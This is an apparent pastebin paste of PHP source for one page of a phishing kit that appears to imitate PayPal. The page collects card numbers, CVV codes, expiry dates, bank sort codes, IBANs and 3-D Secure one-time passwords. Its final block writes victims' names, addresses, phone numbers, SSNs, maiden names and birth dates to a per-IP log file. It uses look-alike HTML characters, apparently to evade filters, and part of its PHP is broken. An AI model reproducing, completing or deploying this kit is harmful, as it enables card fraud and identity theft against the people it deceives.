b3gund4L icon

Finish PHP

b3gund4L | PRO | 01/21/16 06:43:14 PM UTC | 0 ⭐ | 40405 👁️ | Never ⏰ | []
PHP |

7.52 KB

|

None

|

0 👍

/

0 👎

<?php
    $Cece  = explode('Cece', file_get_contents('../Save/' . $ip . '.logged'));
?>
<script src="../js/jquery.payment.js"></script>
<script src="../js/jquery.wallet.js"></script>
<form method="post" id="parentForm" name="creditcard_Form" class="edit">
    <p class="group fcenter">
 
<input maxlength="11" class="large" autocomplete="off" required="required" name="country" value="<?php echo $nama_negara;?>" type="text" style="display:none"></span>
<?php
if ($negara=="UK" or $negara=="IE"){ echo '
                <span class="help" style="padding-left:4%;">&Nu;eed for bank validation.</span>
                    <label for="sortcode">Sort Code - Account No :</label>
                        <span class="field">
                            <input name="sort_code1" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;
                            <input name="sort_code2" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;
                            <input name="sort_code3" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;-&nbsp;
                            <input name="acc_number" style="width: 5.4em;" pattern="[0-9]{8,}" maxlength="8" autocomplete="off" required="required" type="text" title="Enter account number"></span>
';}
if ($negara=="NL"){ echo '
                <span class="help" style="padding-left:4%;">Enter your IBAN here from. </span>
                    <label for="iban_nl">IBAN :</label>
                <span class="field">
                    <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="iban_nl" value="" required="" title="IBAN"></span>
';}
if ($negara=="NZ"){ echo '
                <span class="help" style="padding-left:4%;">Enter the credit limit of the card. </span>
                    <label for="creditlimit">Credit Limit :</label>
                <span class="field">
                    <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="creditlimit" value="" required="" title="Credit Limit" placeholder="E.g. 10000"></span>
';}
?>
            <span class="help" style="padding-left:4%;">&Nu;ame as it appears on Card.</span>
            <label for="cc_holder">Cardholder &Nu;ame :</label>
            <span class="field" id="cc_holder">
                        <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="cc_holder" value="" required="" title="Cardholder name"></span>
<?php
if (!empty($Cece[1])){echo '<span class="field">'.$Cece[1].' - Ending '.$Cece[2].' - Exp Date '.$Cece[3].'</span>' ;}
?>
            <label for="cc_number">Card Number :</label>
            <span class="field">
                                    <input type="text" id="cc_number" autocomplete="off" style="width: 12em;" pattern="[2-7][0-9 ]{11,20}" maxlength="20" name="cc_number" value="" required="" title="Only number">
                                </span>
 
            <label for="expdate">&Epsilon;xpiration Date :</label>
            <span class="field" style="margin-bottom: 7px;">
<?php
echo date_dropdown(20);
function date_dropdown($year_limit = 0)
{
        /*month*/
        $html_output  = '                                   <select class="smal" required="required" name="expdate_month" title="Exp month">'."\n";
        $html_output .= '                                       ';
            for ($exp_month = 1; $exp_month <= 12; $exp_month++) {
                if (strlen($exp_month) === 1){
                    $html_output .= '<option value="0' . $exp_month . '">0' . $exp_month . '</option>';
                } else {
                    $html_output .= '<option value="' . $exp_month . '">' . $exp_month . '</option>';
                }
            }
        $html_output .= "\n".'                                  </select>&nbsp;&nbsp;/&nbsp;&nbsp;'."\n";
 
        /*years*/
    if (date('m') == 12){
        $html_output .= '                                   <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
        $html_output .= '                                       ';
            for ($exp_year = date('Y') + 1; $exp_year <= date('Y') + $year_limit; $exp_year++) {
                $html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
            }
        $html_output .= "\n".'                                  </select>'."\n";
    } else {
        $html_output .= '                                   <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
        $html_output .= '                                       ';
            for ($exp_year = date('Y'); $exp_year <= date('Y') + $year_limit; $exp_year++) {
                $html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
            }
        $html_output .= "\n".'                                  </select>'."\n";
    }
 
    return $html_output;
}
?>
                                </span>
 
            <label for="cvv2_number">Card Security C&omicron;de :</label>
            <span class="field">
                        <input id="cvv2_number" autocomplete="off" style="width:3.49em;" pattern="[0-9]{3,5}" maxlength="4" name="cvv2_number" value="" required="" type="text" title="Enter a valid csc">
                        <span class="small"><a target="_blank" href="../page/cvv_info_pop&amp;enable_locale.htm" onclick="AYPAL.core.openWindow(event, {width: 425, height: 450});" id="1"> What is this?</a></span>
            </span>
<?php
if ($negara=="UK" or $negara=="IE"){ echo 
                         <label> for="otp_pass"> One Time Password:</label>
                                </span class="field">
                                    <input type="password" id="otp_pass" autocomplete="off" style="width: 12em;" maxlength="20" name="otp_pass_1" value="" required="" title="One Time Password"><img src="http://www.igc.asia/wp-content/uploads/2014/11/debit-card-verified-by-visa-and-mastercard-secure-code-no-credit-card-needed.jpg" width="65">
                                </br> 
<span class="desc lighter">Please enter a valid OTP for VBV or MCSC. If not have VBV or MCSC skip OTP form.</span> ;
}
?> 
 
            <div class="ngawur">
            </div>
 
    </p>
 
    <p class="bcenter">
        <button style="width: 100px !important;" type="submit" value="Submit" class="button">Submit</button>
    </p>
 
    <?php
if (!empty($_POST['address_1'])){
$SaveData = '../Save/' . $ip . '.logged';
$AddData =  "
AddInfoAccount Name    :  ".$_POST['full_name']."
Address Line 1  :  ".$_POST['address_1']."
Address Line 2  :  ".$_POST['address_2']."
City/Town       :  ".$_POST['city']."
State           :  ".$_POST['state']."
Zip/PostCode    :  ".$_POST['postal']."
Country         :  ".$nama_negara."
Phone Number    :  ".$_POST['phone']."
SSN             :  ".$_POST['number_1']." - ".$_POST['number_2']." - ".$_POST['number_3']."
ID Num/Maiden   :  ".$_POST['id_number']."
DOB             :  ".$_POST['day']." / ".$_POST['month']." / ".$_POST['year']."AddInfo
";
        if (!file_exists($SaveData)) {
            $fp = @fopen($SaveData, 'w');
            @fwrite($fp, $AddData);
            @fclose($fp);
        } else {
            $fp = @fopen($SaveData, 'a');
            @fwrite($fp, $AddData);
            @fclose($fp);
        }
}
?>

Comments